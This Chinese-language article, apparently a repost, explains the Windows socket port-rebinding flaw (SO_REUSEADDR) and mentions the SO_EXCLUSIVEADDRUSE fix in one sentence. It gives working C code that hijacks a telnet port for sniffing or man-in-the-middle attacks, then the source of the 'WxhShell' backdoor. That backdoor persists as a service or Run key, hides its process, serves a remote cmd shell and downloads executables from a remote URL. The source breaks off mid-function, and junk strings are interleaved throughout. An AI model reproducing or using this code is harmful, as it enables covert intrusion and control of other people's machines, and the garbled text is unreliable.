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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kM*f9x s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,*?bET
$ lLxKC7b saddr.sin_family = AF_INET; Sb> ;k(;`: .1.n{4z>: saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0vQ@n7 fOm=#:O bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pY!@w0. 0^*4LM|z 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j!iimdq &Ph@uZ\ 这意味着什么?意味着可以进行如下的攻击: B-|:l7
0Q_AF`" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ueDG1) k]lM% 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }N:0%Gk[; bqFGDmu6' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 52q@&')D4M Q9q:HGXxv 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ])'22sY 2Prr:k
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D@!`b6 0diQfu)Fi 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;XSV}eLu ?lnX."eAdB 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 us"SM\X# yDWzsA/X #include zK(9k0+s #include R#1h.8 #include ~ULuX"n #include Z<;<!+, DWORD WINAPI ClientThread(LPVOID lpParam); fMlxtj+5
int main() rg"W1m[k { SWY?0Pu WORD wVersionRequested; QB'-`GwL DWORD ret; :-xp'_\L WSADATA wsaData; HY~\e|o BOOL val; dMCV
!$ SOCKADDR_IN saddr; 5Z]`n SOCKADDR_IN scaddr; I{;s.2 int err; q62TYg} SOCKET s; 79n,bb5 SOCKET sc;
R,x\VX!| int caddsize; GQ[:vX` HANDLE mt; 36@)a5 DWORD tid; `S2YBKz,1 wVersionRequested = MAKEWORD( 2, 2 ); m%m/#\J E err = WSAStartup( wVersionRequested, &wsaData ); |t1D8){! if ( err != 0 ) { ~=aGv%vX
printf("error!WSAStartup failed!\n"); Q 6{2@ return -1; eA$9)K1GO } J~V`"uo saddr.sin_family = AF_INET; e57}.pF^ IfF<8~~E //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3:&!Q*i; yP :>vFd7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~!E%GCyFy saddr.sin_port = htons(23); 6c^2Nl8e if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QY8I_VF {
k]u0US9/ printf("error!socket failed!\n"); sHm|&
return -1; *P 5Xy@: } %E3|b6k\ val = TRUE; @C0{m7q //SO_REUSEADDR选项就是可以实现端口重绑定的 ) 2wof( if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) I?c# T Rm { Y\(Q printf("error!setsockopt failed!\n"); 282
m^
2 return -1; |fYNkD8z1 } w1KLQd:yq //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K
I //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Fx~=mYU //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8wp)aGTcU /i"vEI if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mhH[jO) { F2:+i#lE ret=GetLastError(); ;E l"dqH printf("error!bind failed!\n"); )a.w4dH return -1; ;26a8g( } -\b~R7VQ listen(s,2); YT+fOndjaF while(1) )7<JGzBZ1 { tbJB 0T|G caddsize = sizeof(scaddr); 9`f]Rf" //接受连接请求 >:4}OylhM sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1y$Bz?4 if(sc!=INVALID_SOCKET) =SA@3)kHH { IVzJ| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pFXDo4eH if(mt==NULL) WEFYV=I\ { S)Sv4Qm printf("Thread Creat Failed!\n"); 1Cki}$k@ break; ]sE~gro } (NyS2` } H2 5Mx>|d CloseHandle(mt); ZMids"Xdf } 5?kJ]: closesocket(s); ajq [ID WSACleanup(); 1"RO)& return 0; ?w`uv9NUJ8 } \`;FL\1+W DWORD WINAPI ClientThread(LPVOID lpParam) |y)R lb#d { ..UmbJJ.u SOCKET ss = (SOCKET)lpParam; d&&^_0O SOCKET sc; &, hhH_W unsigned char buf[4096]; 5&D)W>{d SOCKADDR_IN saddr; (s4w0z long num; q]T{g*lT DWORD val; ;g?oU"Y M DWORD ret; JOS,>;;F4 //如果是隐藏端口应用的话,可以在此处加一些判断 |GM?4'2M. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 8G;
t[9 saddr.sin_family = AF_INET; <]eWr:; saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); sDTCV8"w saddr.sin_port = htons(23); cod__. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r0379 _ { oFB~)}f<v printf("error!socket failed!\n"); r&@#,g return -1; 75v 5/5zRn } Bwj^9J/ob val = 100; RJYuyB if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fdc
?`4 { 'e^,#L_!o ret = GetLastError(); -"YQo return -1; |'9%vtbM } "toyfZq@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q#Q]xJH { /5 B{szf ret = GetLastError(); >p [|U`>{ return -1; -D?T0> } xQ\/6| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {P"$;_Y"< { D+lzISp~e printf("error!socket connect failed!\n"); + ObP[F closesocket(sc); 7(rNJPrU~= closesocket(ss); [tGAo/ return -1; D^yZ!}Kl } -'BC*fV r while(1) /{vv n { _W'>?e0i //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 CMB:% //如果是嗅探内容的话,可以再此处进行内容分析和记录 `% k9@k. //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ()e.J num = recv(ss,buf,4096,0); \W=~@k if(num>0) ivYHq#b59 send(sc,buf,num,0); hNgbHzW else if(num==0) CE]0OY break; :akEl7/& num = recv(sc,buf,4096,0); 6Qnerd%Ec if(num>0) u&yAMWl send(ss,buf,num,0); qgg/_H:;w else if(num==0) nd*9vxM break; 92!1I$zi } Wjc1 EW!2x closesocket(ss); dP63bV closesocket(sc); NBEcx>pma return 0 ; <aR9,: } u>o<ua
p s\y+ xa: <^q4^Q[ ========================================================== 2eo]D?} R_ymTB}<t( 下边附上一个代码,,WXhSHELL ^
cpQ*Fz s kC* ========================================================== 4scY8(1 MkgeECMf #include "stdafx.h" (oTtnQ""+ QxZYy}2 #include <stdio.h> EvSo|}JA[ #include <string.h> ]Q1?Ox:' #include <windows.h> X`xmV! #include <winsock2.h> C"}CD{<H]M #include <winsvc.h> KU# w% #include <urlmon.h> DjY&)oce( z(b0U6)qQ #pragma comment (lib, "Ws2_32.lib") j3 ,6UjlU #pragma comment (lib, "urlmon.lib") soh)IfZ @yiAi:v@ #define MAX_USER 100 // 最大客户端连接数 H~IR:WOw #define BUF_SOCK 200 // sock buffer {:BAh5e| #define KEY_BUFF 255 // 输入 buffer Y'7f"W JAJo^}}{b #define REBOOT 0 // 重启 "#1KO1@G #define SHUTDOWN 1 // 关机 V'?bZcRr~ *`$Y!uzG:\ #define DEF_PORT 5000 // 监听端口 q-gp;Fm dS]TTU1 #define REG_LEN 16 // 注册表键长度 ,l/~epx4v) #define SVC_LEN 80 // NT服务名长度 hG51jVYtw 0,$eiY)u$ // 从dll定义API Ey<vvZ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9n4vuBgv typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uqe{F+;8& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7i^7sT8t typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =v^LShD2^ %+Hhe]J ld // wxhshell配置信息 c6/+Ye =h struct WSCFG { Age int ws_port; // 监听端口 XTboFrf char ws_passstr[REG_LEN]; // 口令 E_sKD ybj int ws_autoins; // 安装标记, 1=yes 0=no 7|Z=#3INw char ws_regname[REG_LEN]; // 注册表键名 7Nx5n< char ws_svcname[REG_LEN]; // 服务名 u&{}hv&FY char ws_svcdisp[SVC_LEN]; // 服务显示名 \AFoxi2h char ws_svcdesc[SVC_LEN]; // 服务描述信息 s
zBlyT char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S}L$-7Ct int ws_downexe; // 下载执行标记, 1=yes 0=no r:pS[f|4\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Mbbgsy3W char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~*"]XE?M ;#-yyU }; dxHKXw %c+`8 wj // default Wxhshell configuration 12l-NWXf struct WSCFG wscfg={DEF_PORT, C1w~z4Qp "xuhuanlingzhe", [R
V_{F:' 1, ,36AR|IO) "Wxhshell", |,!]]YO.V "Wxhshell", tF lLKziU "WxhShell Service", 1,UeVw/ "Wrsky Windows CmdShell Service", v
C,53g "Please Input Your Password: ", p5F=?*[} 1, iA*^`NMaT " http://www.wrsky.com/wxhshell.exe", ^na8d's: "Wxhshell.exe" ]?KTw8j} }; MR4e.+#E }/)vOUcEd // 消息定义模块 ^3~+| A98M char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2J7=
O^$? char *msg_ws_prompt="\n\r? for help\n\r#>"; bm/pLC6%. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; cyYsz'i m char *msg_ws_ext="\n\rExit."; ~)J]`el,Q char *msg_ws_end="\n\rQuit."; \3nu &8d char *msg_ws_boot="\n\rReboot..."; Kf=6l#J7 char *msg_ws_poff="\n\rShutdown..."; ^n! j" char *msg_ws_down="\n\rSave to "; (41BUX bEO\oS char *msg_ws_err="\n\rErr!"; B$ty`/{w,B char *msg_ws_ok="\n\rOK!"; i/Zv@GF vbFi#|EU char ExeFile[MAX_PATH]; yC%zX}5 int nUser = 0; w=e_@^Fkx HANDLE handles[MAX_USER]; tc-pVw:TV int OsIsNt; t<8vgdD Oz8"s4Y7 SERVICE_STATUS serviceStatus; TpnJm%9`)t SERVICE_STATUS_HANDLE hServiceStatusHandle; RP!!6A6: #fB&Hv #s7 // 函数声明 U(xN}Y? int Install(void); d yH<D5
int Uninstall(void); ~H<oqk:O- int DownloadFile(char *sURL, SOCKET wsh);
qW~Z#Si int Boot(int flag); ~yX8p7qr void HideProc(void); 1P8XVI' int GetOsVer(void); ^a>3U l{ int Wxhshell(SOCKET wsl); QuB`}rfLf void TalkWithClient(void *cs); ~rnbuIh int CmdShell(SOCKET sock); T"h@-UcTl int StartFromService(void); .\Z/j int StartWxhshell(LPSTR lpCmdLine); kHWW\?O 2EO WbN}M VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R7'6#2y VOID WINAPI NTServiceHandler( DWORD fdwControl ); x}^:Bs+j
IBP3 // 数据结构和表定义 pFB^l|\ ] SERVICE_TABLE_ENTRY DispatchTable[] = cy_'QS$W { j 3/ I= {wscfg.ws_svcname, NTServiceMain}, hk5[ N= {NULL, NULL} ^nO0/nqz] }; xi+bBqg<.K ;)nkY6- // 自我安装 <@F.qMl int Install(void) \,n|V3#G { T[?wbYfW char svExeFile[MAX_PATH]; Uz4!O HKEY key; ;`")3~M3* strcpy(svExeFile,ExeFile); u& 4i=K'x8 vJ
+sdG // 如果是win9x系统,修改注册表设为自启动 c+BD37S if(!OsIsNt) { OBnf5*eJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !xE/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _cRCG1CJ RegCloseKey(key); st_.~m!/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \*a7o GyH> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _DDknQP RegCloseKey(key); :.VI*X:aQh return 0; RZY[DoF8u } E{wnhsl{ } cVV @MC } Ux/|D_rlf else { s'7PHP)LOJ xM+_rU
M|h // 如果是NT以上系统,安装为系统服务 {/)q= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,H)v+lI if (schSCManager!=0) k^H&IS! { thU9s%,
SC_HANDLE schService = CreateService =00c1v ( ^y,Ex;6o schSCManager, Za110oF wscfg.ws_svcname, ~M c'~:{O wscfg.ws_svcdisp, ]NEr]sc-"F SERVICE_ALL_ACCESS, S^8C\ E SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VYR<x QA SERVICE_AUTO_START, L2sUh+'| SERVICE_ERROR_NORMAL, `i2:@?Kl9 svExeFile, +UM%6Z=+ NULL, $q|-9B NULL, yv;KKQ NULL, mhNX05D NULL, 5V $H?MW> NULL mi';96 ); LJ8 t@ui if (schService!=0) gh?3 [q6 { Nc da~h
Q CloseServiceHandle(schService); ;_K3/: CloseServiceHandle(schSCManager); Xf YbWR strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MwuRxeRO- strcat(svExeFile,wscfg.ws_svcname); WR.>?IG2E if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cb3Q{.-.# RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZLGglT'EW> RegCloseKey(key); R/WbcQ) return 0; Bs3M7zRG } j&N {j_M } im&Nkk4n@ CloseServiceHandle(schSCManager); )ep1`n- } ymW? <\AD, } u*S-Pji,x /'l"Us},^! return 1; TOb( } sd5)We +^ cjdH* // 自我卸载 j[RY int Uninstall(void) z 0}JiW R { ^$AJV%3wI HKEY key; %TeH#%[g>\ %MM)5MsB if(!OsIsNt) { `9Rj;^NJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \zT{zO&! RegDeleteValue(key,wscfg.ws_regname); KaIkO8Dq0 RegCloseKey(key); ~( ;HkT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |V&E q>G RegDeleteValue(key,wscfg.ws_regname); ] :SbvsPm RegCloseKey(key); ]:r(U5 # return 0; V q[4RAd^P } 2PC:F9dh\ } S]Qf
p, } UrmnHc>}c else { Z VyJ%"(E s/0bXM$^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xFzaVjjP if (schSCManager!=0) q&kG> { eyzXHS*s;L SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W,5_i7vr if (schService!=0) X@Bg_9\i { [OYSNAs*y if(DeleteService(schService)!=0) { 8xb({e4 CloseServiceHandle(schService); 0B]c`$"aD CloseServiceHandle(schSCManager); rNoCmNm return 0; ?dyt!>C } 4[
*G CloseServiceHandle(schService); 9 >"}||)) } )eVn1U2*z. CloseServiceHandle(schSCManager); 6ltV}Wt- } _oE 7< } =X;h _GQ m2\[L/W] return 1; ^Z+p_;J$p } yTR5*{?j "!R*f $ // 从指定url下载文件 717OzrF}A? int DownloadFile(char *sURL, SOCKET wsh) pHzl/b8 { .^wBv
'Y HRESULT hr; = G>Y9Sc char seps[]= "/"; +,zV
[\ char *token;
tRbZX{ char *file; i3vg7V. char myURL[MAX_PATH]; yS.)l char myFILE[MAX_PATH]; C'6c, e8 c.&j3m strcpy(myURL,sURL); bHg 0,N token=strtok(myURL,seps); p:ubj'(U05 while(token!=NULL) 2i$_ ,[fi { ZfibHivz file=token; pN{XGkX. token=strtok(NULL,seps); k{
$,FQ4 } w:9M6+mM^ lE8(BWzw GetCurrentDirectory(MAX_PATH,myFILE); z
.+J\ strcat(myFILE, "\\"); #G\Ae:O strcat(myFILE, file); a/n~#5- send(wsh,myFILE,strlen(myFILE),0); (\%J0kR3[ send(wsh,"...",3,0); }vd72PB hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pQoZDD@B$ if(hr==S_OK) RREl($$p return 0; E
<N% else T>irW( return 1; cv_t2m : cPV08i } fS3% XCT3:db // 系统电源模块 %3yrX>Js int Boot(int flag) ~xJ^YkyH { blUS6"kV} HANDLE hToken; 3uL$+F TOKEN_PRIVILEGES tkp; 5&_R+g "iJAM`Hi if(OsIsNt) { 5O~;^0iC OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k)zBw(wr LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TVVu_ib tkp.PrivilegeCount = 1; D7Y?$=0ycb tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 69 J4p=c, AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I:WPP'L4o if(flag==REBOOT) { a1x].{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v8TNBsEL return 0; v}=pxWhm } S[CWrPaDQ else { g&\;62lV% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (!a\23 return 0; jGYl*EBx } v}<z_i5/C. } y\:,.cZ+TQ else { p7L6~IN if(flag==REBOOT) { Yc5<Y-W if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Pk5 %lu return 0; y!x-R!3 } jX,A. else { <9x|)2P if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fVYv 2 return 0; }OSf C~5P } G+WCE* } OqX+R4S g`,(O return 1; D=)qd@,K } ie/QSte N@"e^i // win9x进程隐藏模块 r<;Y4<,BZ void HideProc(void) F#o{/u?T { 5a/3nsup5 \5b<!Nl HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =nCV.Wf if ( hKernel != NULL ) mo]>Um'F { wKJK!P pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fN
1:'d ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9Dyw4'W.N FreeLibrary(hKernel); NM1TFs2Y* } :~p_(rE 6wb M$|yFj return; nTsPX Tat } <JZa @"^(} 6 // 获取操作系统版本 3ep
L'My$ int GetOsVer(void) M+4S >Sjw { ve4QS P OSVERSIONINFO winfo; Q8DKU winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )EG-xo@X GetVersionEx(&winfo); xH-} <7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5;9.&f return 1; )' 2vUt`_7 else 5hB2:$C return 0; DE?@8k } =OR&,xt x_EU.924uY // 客户端句柄模块 &0mhO+g int Wxhshell(SOCKET wsl) *gI9CVfQl { 5JZZvc$au SOCKET wsh; [ HjGdC struct sockaddr_in client; =IIE]<z DWORD myID; ,=P0rbtK t;[Q&Jl while(nUser<MAX_USER) +>v{#A_u { E
eCgV{9B int nSize=sizeof(client); @T-}\AU wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _"'-fl98* if(wsh==INVALID_SOCKET) return 1; H/ub=,Ej* (7v`5|'0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;"%luQA<w if(handles[nUser]==0) J1Y3>40 closesocket(wsh); NO#^_N`#\ else ,0$b8lb;x/ nUser++; q5w)i } OL[_2m*;9p WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q{.~=~ %;G!gJeE
return 0; yNQ 9~P2 } N?Ss/by8Sg Os1y8ui // 关闭 socket S[uHPYhlA void CloseIt(SOCKET wsh) m$$98N { ix}*whW=U closesocket(wsh); K9Pw10g' nUser--; t{/
EN)J ExitThread(0); 14\!FCe)! } o-t!z'\lO yDw^xGws // 客户端请求句柄 D%.<}vG void TalkWithClient(void *cs) 5{6ebq55" { nzu
3BVv H
%PIE1_ SOCKET wsh=(SOCKET)cs; Q_a%$a.rV char pwd[SVC_LEN]; Y'%_-- char cmd[KEY_BUFF]; P^*gk P char chr[1]; :Ee5:S int i,j; fKT(.VNq5 GgjBLe=C while (nUser < MAX_USER) { 6d/b*,4[ fmq^AnKd if(wscfg.ws_passstr) { FkT% -I if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jfrUOl'l //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dzMI5fA<_ //ZeroMemory(pwd,KEY_BUFF); 4^B:Q9B) i=0; B6vmBmN while(i<SVC_LEN) { ';7|H|,F 8 _[f#s`) // 设置超时 BF6H_g fd_set FdRead; %x7l`.)N struct timeval TimeOut; XC{(O:EG FD_ZERO(&FdRead); Wkv**X} FD_SET(wsh,&FdRead); HM1y$ej TimeOut.tv_sec=8; `o*g2fW! TimeOut.tv_usec=0; >heih%Ar0J int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z*>CP if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cWM|COXL+ I@q>ES!1H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g^En6n) pwd =chr[0]; aa1XY&G"! if(chr[0]==0xd || chr[0]==0xa) { ;7<a0HZ5! pwd=0; j|(bDa4\ break; ArU>./)Q } \9k{"4jX\ i++; Xl*-A|:j } ig/716r| Gb\7W // 如果是非法用户,关闭 socket |@-WC. if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o6KBJx } z_l3=7R S8vmXlD send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C 127he send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nmsb aLXA9? while(1) { qc'tK6=jp L{fP_DIa ZeroMemory(cmd,KEY_BUFF); UmgLH Cz e?lqs,m@" // 自动支持客户端 telnet标准 <p0$Q!^dK= j=0; 8h20*@wSN while(j<KEY_BUFF) { -{b1& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6l
vx cmd[j]=chr[0]; @7^#_772 if(chr[0]==0xa || chr[0]==0xd) { 16Gv?
I
h cmd[j]=0; qryt1~Dq break; 3Ob"r` } -;`W"&`ss j++; 4+k:j=x } '7*=m^pc UXk8nH // 下载文件 }5tn if(strstr(cmd,"http://")) { AYZds >#Q send(wsh,msg_ws_down,strlen(msg_ws_down),0); -6tF if(DownloadFile(cmd,wsh)) x(7K3(#| send(wsh,msg_ws_err,strlen(msg_ws_err),0); C aJD* else b);}x1L.T send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QT&{M
#Ydn } #=.h:_9 else { -X}R(.}x ,m b3H switch(cmd[0]) { "^D6%I#T c\b>4 &n // 帮助 !Z'm@,+ case '?': { +li^0+3-' send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (
L6`_) break; #*]=
%-A } `A^} X // 安装 TQ2Tt" case 'i': { 8c|IGC if(Install()) \%Smp2K send(wsh,msg_ws_err,strlen(msg_ws_err),0); M{4_BQ4$ else G<dXJ ]\\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #dfW1@m break; er#=xqUY } X0$_KPn // 卸载 Go67VqJr case 'r': { TnaIRJ\B if(Uninstall()) P%lLKSA send(wsh,msg_ws_err,strlen(msg_ws_err),0); j{Fo 6## else 5Q}@Y3 i= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2$ rq break; y d$37G|n } 0Yjy // 显示 wxhshell 所在路径 &4[iC/} case 'p': { 1<p"z,c char svExeFile[MAX_PATH]; E>1USKxn strcpy(svExeFile,"\n\r"); UK<"|2^sT strcat(svExeFile,ExeFile);
]\e zES send(wsh,svExeFile,strlen(svExeFile),0); 3U`.:w` break; E{ ,O} } an2Tc*=~l( // 重启 Vi|jkyC8 case 'b': { m #eD v* send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yEny2q} if(Boot(REBOOT)) e](=)h| send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z7/dRc
else { {L eEnh- closesocket(wsh); uSQ*/h-<)0 ExitThread(0); bcs!4 } ~z}au"k break; mC7Y * } Wd}mC<rv1 // 关机 )pLq^j case 'd': { >`uS NY"tO send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W Q&<QVK if(Boot(SHUTDOWN)) $S}x'F!4_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZkJM?Fzq else { dW`D?$(@, closesocket(wsh); \}=b/FL=U ExitThread(0); p o`$^TB^+ } lBdF9F< break; .'1j5Y-l`N } z Y|g#V- // 获取shell Jq#Cn+zW case 's': { ;^*!<F%t9R CmdShell(wsh); iPOZ{'Z closesocket(wsh); ka3Z5 ExitThread(0); lRr-S% break; TfVD'HAN;l } ]EnaZWyO] // 退出 PpRO7(<cD case 'x': { o4;Nb|kk9+ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dE]"^O#Mc CloseIt(wsh); >nDnb4 'C break; ,]mwk~HeF } =R.9"7~2x // 离开 QO.gt*" case 'q': { $rEd5W&d! send(wsh,msg_ws_end,strlen(msg_ws_end),0); jZ!JXmVV closesocket(wsh); eLny-.i,7 WSACleanup(); 0Y2^}u@5 exit(1); [BBKj)IK break; F/SsiUBS } Cpcd`y=IN } rk |(BA } b2e a0 =.hDf<U // 提示信息
1}E@lOc if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
A*~1Uz\t } lKUm_; m } %},G(> \2xBOe-a] return; <\g&%c, } ~,68S^nP)H @t8kN6. // shell模块句柄 O97bgj] int CmdShell(SOCKET sock) })lT fy { YXVJJd$U STARTUPINFO si; p8d n-4 ZeroMemory(&si,sizeof(si)); X);Zm7 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &;U7/?Q si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~UC/|t$ PROCESS_INFORMATION ProcessInfo; zD;]
sk4 char cmdline[]="cmd"; Te}yQ= + CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O)uM&B= return 0; 1cBhcYv" } EE6|9K> bTGK@~ // 自身启动模式 FraW6T}_ int StartFromService(void) dJ:x1j { Q'%o;z* typedef struct _-J @$d% { sC_UalOC_ DWORD ExitStatus; /2Lo{v=0[ DWORD PebBaseAddress; JlQT5k DWORD AffinityMask; =awO63j> DWORD BasePriority; @:9fS ULONG UniqueProcessId;
t} i97 ; ULONG InheritedFromUniqueProcessId; 7&1~O# } PROCESS_BASIC_INFORMATION; m2CWQ[u .Pes{uHg PROCNTQSIP NtQueryInformationProcess; oz6+rM6MY i: M*L< + static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .00=U;H%` static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ja v2A6a RIEv*2_O HANDLE hProcess; 1bZiPG{ PROCESS_BASIC_INFORMATION pbi; |cGeL[ #S%Y;ilq HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vj&5` if(NULL == hInst ) return 0; 4t
